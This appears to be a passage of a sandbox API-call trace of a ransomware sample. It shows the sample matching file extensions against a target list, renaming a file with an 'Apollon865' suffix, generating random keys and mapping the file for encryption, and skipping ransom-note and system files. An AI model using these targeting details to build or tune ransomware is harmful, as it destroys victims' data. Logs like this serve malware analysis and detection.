	[0082.741] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.741] lstrlenW (lpString="4dl") returned 3
	[0082.741] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.741] lstrlenW (lpString="^^^") returned 3
	[0082.741] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.741] lstrlenW (lpString="abs") returned 3
	[0082.741] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.741] lstrlenW (lpString="abx") returned 3
	[0082.741] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.741] lstrlenW (lpString="accdb") returned 5
	[0082.741] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.741] lstrlenW (lpString="accdc") returned 5
	[0082.741] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.741] lstrlenW (lpString="accde") returned 5
	[0082.741] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.741] lstrlenW (lpString="accdr") returned 5
	[0082.741] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.741] lstrlenW (lpString="accdt") returned 5
	[0082.741] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.742] lstrlenW (lpString="accdw") returned 5
	[0082.742] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.742] lstrlenW (lpString="accft") returned 5
	[0082.742] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.742] lstrlenW (lpString="adb") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.742] lstrlenW (lpString="adb") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.742] lstrlenW (lpString="ade") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.742] lstrlenW (lpString="adf") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.742] lstrlenW (lpString="adn") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.742] lstrlenW (lpString="adp") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.742] lstrlenW (lpString="alf") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.742] lstrlenW (lpString="ask") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.742] lstrlenW (lpString="btr") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.742] lstrlenW (lpString="cat") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.742] lstrlenW (lpString="cdb") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.742] lstrlenW (lpString="ckp") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.742] lstrlenW (lpString="cma") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.742] lstrlenW (lpString="cpd") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.742] lstrlenW (lpString="dacpac") returned 6
	[0082.742] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.742] lstrlenW (lpString="dad") returned 3
	[0082.742] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.742] lstrlenW (lpString="dadiagrams") returned 10
	[0082.742] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0082.743] lstrlenW (lpString="daschema") returned 8
	[0082.743] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.743] lstrlenW (lpString="db-journal") returned 10
	[0082.743] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0082.743] lstrlenW (lpString="db-shm") returned 6
	[0082.743] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.743] lstrlenW (lpString="db-wal") returned 6
	[0082.743] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.743] lstrlenW (lpString="dbc") returned 3
	[0082.743] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.743] lstrlenW (lpString="dbs") returned 3
	[0082.743] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.743] lstrlenW (lpString="dbt") returned 3
	[0082.743] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.743] lstrlenW (lpString="dbv") returned 3
	[0082.743] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.743] lstrlenW (lpString="dbx") returned 3
	[0082.743] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.743] lstrlenW (lpString="dcb") returned 3
	[0082.743] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.743] lstrlenW (lpString="dct") returned 3
	[0082.743] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.743] lstrlenW (lpString="dcx") returned 3
	[0082.743] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.743] lstrlenW (lpString="ddl") returned 3
	[0082.743] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.743] lstrlenW (lpString="dlis") returned 4
	[0082.743] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.743] lstrlenW (lpString="dp1") returned 3
	[0082.743] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.743] lstrlenW (lpString="dqy") returned 3
	[0082.743] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.743] lstrlenW (lpString="dsk") returned 3
	[0082.743] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.743] lstrlenW (lpString="dsn") returned 3
	[0082.743] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.743] lstrlenW (lpString="dtsx") returned 4
	[0082.743] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.743] lstrlenW (lpString="dxl") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.744] lstrlenW (lpString="eco") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.744] lstrlenW (lpString="ecx") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.744] lstrlenW (lpString="edb") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.744] lstrlenW (lpString="epim") returned 4
	[0082.744] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.744] lstrlenW (lpString="fcd") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.744] lstrlenW (lpString="fdb") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.744] lstrlenW (lpString="fic") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.744] lstrlenW (lpString="flexolibrary") returned 12
	[0082.744] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0082.744] lstrlenW (lpString="fm5") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.744] lstrlenW (lpString="fmp") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.744] lstrlenW (lpString="fmp12") returned 5
	[0082.744] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.744] lstrlenW (lpString="fmpsl") returned 5
	[0082.744] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.744] lstrlenW (lpString="fol") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.744] lstrlenW (lpString="fp3") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.744] lstrlenW (lpString="fp4") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.744] lstrlenW (lpString="fp5") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.744] lstrlenW (lpString="fp7") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.744] lstrlenW (lpString="fpt") returned 3
	[0082.744] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.744] lstrlenW (lpString="frm") returned 3
	[0082.745] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.745] lstrlenW (lpString="gdb") returned 3
	[0082.745] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.745] lstrlenW (lpString="gdb") returned 3
	[0082.745] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.745] lstrlenW (lpString="grdb") returned 4
	[0082.745] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.745] lstrlenW (lpString="gwi") returned 3
	[0082.745] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.745] lstrlenW (lpString="hdb") returned 3
	[0082.745] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.745] lstrlenW (lpString="his") returned 3
	[0082.745] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.745] lstrlenW (lpString="ib") returned 2
	[0082.745] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.745] lstrlenW (lpString="idb") returned 3
	[0082.745] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.745] lstrlenW (lpString="ihx") returned 3
	[0082.745] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.745] lstrlenW (lpString="itdb") returned 4
	[0082.745] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.745] lstrlenW (lpString="itw") returned 3
	[0082.745] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.745] lstrlenW (lpString="jet") returned 3
	[0082.745] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.745] lstrlenW (lpString="jtx") returned 3
	[0082.745] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.745] lstrlenW (lpString="kdb") returned 3
	[0082.745] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.745] lstrlenW (lpString="kexi") returned 4
	[0082.745] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.745] lstrlenW (lpString="kexic") returned 5
	[0082.745] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.745] lstrlenW (lpString="kexis") returned 5
	[0082.745] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.745] lstrlenW (lpString="lgc") returned 3
	[0082.745] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.745] lstrlenW (lpString="lwx") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.746] lstrlenW (lpString="maf") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.746] lstrlenW (lpString="maq") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.746] lstrlenW (lpString="mar") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.746] lstrlenW (lpString="marshal") returned 7
	[0082.746] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.746] lstrlenW (lpString="mas") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.746] lstrlenW (lpString="mav") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.746] lstrlenW (lpString="maw") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.746] lstrlenW (lpString="mdbhtml") returned 7
	[0082.746] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.746] lstrlenW (lpString="mdn") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.746] lstrlenW (lpString="mdt") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.746] lstrlenW (lpString="mfd") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.746] lstrlenW (lpString="mpd") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.746] lstrlenW (lpString="mrg") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.746] lstrlenW (lpString="mud") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.746] lstrlenW (lpString="mwb") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.746] lstrlenW (lpString="myd") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.746] lstrlenW (lpString="ndf") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.746] lstrlenW (lpString="nnt") returned 3
	[0082.746] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.747] lstrlenW (lpString="nrmlib") returned 6
	[0082.747] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.747] lstrlenW (lpString="ns2") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.747] lstrlenW (lpString="ns3") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.747] lstrlenW (lpString="ns4") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.747] lstrlenW (lpString="nsf") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.747] lstrlenW (lpString="nv") returned 2
	[0082.747] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.747] lstrlenW (lpString="nv2") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.747] lstrlenW (lpString="nwdb") returned 4
	[0082.747] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.747] lstrlenW (lpString="nyf") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.747] lstrlenW (lpString="odb") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.747] lstrlenW (lpString="odb") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.747] lstrlenW (lpString="oqy") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.747] lstrlenW (lpString="ora") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.747] lstrlenW (lpString="orx") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.747] lstrlenW (lpString="owc") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.747] lstrlenW (lpString="p96") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.747] lstrlenW (lpString="p97") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.747] lstrlenW (lpString="pan") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.747] lstrlenW (lpString="pdb") returned 3
	[0082.747] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.747] lstrlenW (lpString="pdm") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.748] lstrlenW (lpString="pnz") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.748] lstrlenW (lpString="qry") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.748] lstrlenW (lpString="qvd") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.748] lstrlenW (lpString="rbf") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.748] lstrlenW (lpString="rctd") returned 4
	[0082.748] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.748] lstrlenW (lpString="rod") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.748] lstrlenW (lpString="rodx") returned 4
	[0082.748] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.748] lstrlenW (lpString="rpd") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.748] lstrlenW (lpString="rsd") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.748] lstrlenW (lpString="sas7bdat") returned 8
	[0082.748] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.748] lstrlenW (lpString="sbf") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.748] lstrlenW (lpString="scx") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.748] lstrlenW (lpString="sdb") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.748] lstrlenW (lpString="sdc") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.748] lstrlenW (lpString="sdf") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.748] lstrlenW (lpString="sis") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.748] lstrlenW (lpString="spq") returned 3
	[0082.748] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.748] lstrlenW (lpString="te") returned 2
	[0082.748] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.748] lstrlenW (lpString="teacher") returned 7
	[0082.749] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.749] lstrlenW (lpString="tmd") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.749] lstrlenW (lpString="tps") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.749] lstrlenW (lpString="trc") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.749] lstrlenW (lpString="trc") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.749] lstrlenW (lpString="trm") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.749] lstrlenW (lpString="udb") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.749] lstrlenW (lpString="udl") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.749] lstrlenW (lpString="usr") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.749] lstrlenW (lpString="v12") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.749] lstrlenW (lpString="vis") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.749] lstrlenW (lpString="vpd") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.749] lstrlenW (lpString="vvv") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.749] lstrlenW (lpString="wdb") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.749] lstrlenW (lpString="wmdb") returned 4
	[0082.749] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.749] lstrlenW (lpString="wrk") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.749] lstrlenW (lpString="xdb") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.749] lstrlenW (lpString="xld") returned 3
	[0082.749] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.749] lstrlenW (lpString="xmlff") returned 5
	[0082.749] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.750] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll.Apollon865") returned 83
	[0082.750] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.751] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.751] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=48992) returned 1
	[0082.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.752] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.753] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.753] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.753] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc260, lpName=0x0) returned 0x15c
	[0082.755] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc260) returned 0x100000
	[0082.763] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.764] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.764] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0082.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0082.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.764] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0082.765] CloseHandle (hObject=0x15c) returned 1
	[0082.765] CloseHandle (hObject=0x9c) returned 1
	[0082.765] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.765] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.765] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.766] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="GRINTL~2.TRX")) returned 1
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".") returned 1
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="..") returned 1
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="windows") returned -1
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="bootmgr") returned 1
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="temp") returned -1
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="pagefile.sys") returned -1
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="boot") returned 1
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="ids.txt") returned -1
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="ntuser.dat") returned -1
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="perflogs") returned -1
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="MSBuild") returned -1
	[0082.766] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0082.766] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll") returned 72
	[0082.766] lstrcpyW (in: lpString1=0x119e670, lpString2="GRINTL32.REST.trx_dll" | out: lpString1="GRINTL32.REST.trx_dll") returned="GRINTL32.REST.trx_dll"
	[0082.766] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0082.766] lstrlenW (lpString="Apollon865") returned 10
	[0082.766] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0082.766] lstrlenW (lpString=".dll") returned 4
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".dll") returned 1
	[0082.766] lstrlenW (lpString=".lnk") returned 4
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".lnk") returned 1
	[0082.766] lstrlenW (lpString=".ini") returned 4
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".ini") returned 1
	[0082.766] lstrlenW (lpString=".sys") returned 4
	[0082.766] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".sys") returned 1
	[0082.766] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0082.766] lstrlenW (lpString="bak") returned 3
	[0082.766] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.766] lstrlenW (lpString="ba_") returned 3
	[0082.766] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.766] lstrlenW (lpString="dbb") returned 3
	[0082.767] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.767] lstrlenW (lpString="vmdk") returned 4
	[0082.767] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.767] lstrlenW (lpString="rar") returned 3
	[0082.767] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.767] lstrlenW (lpString="zip") returned 3
	[0082.767] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
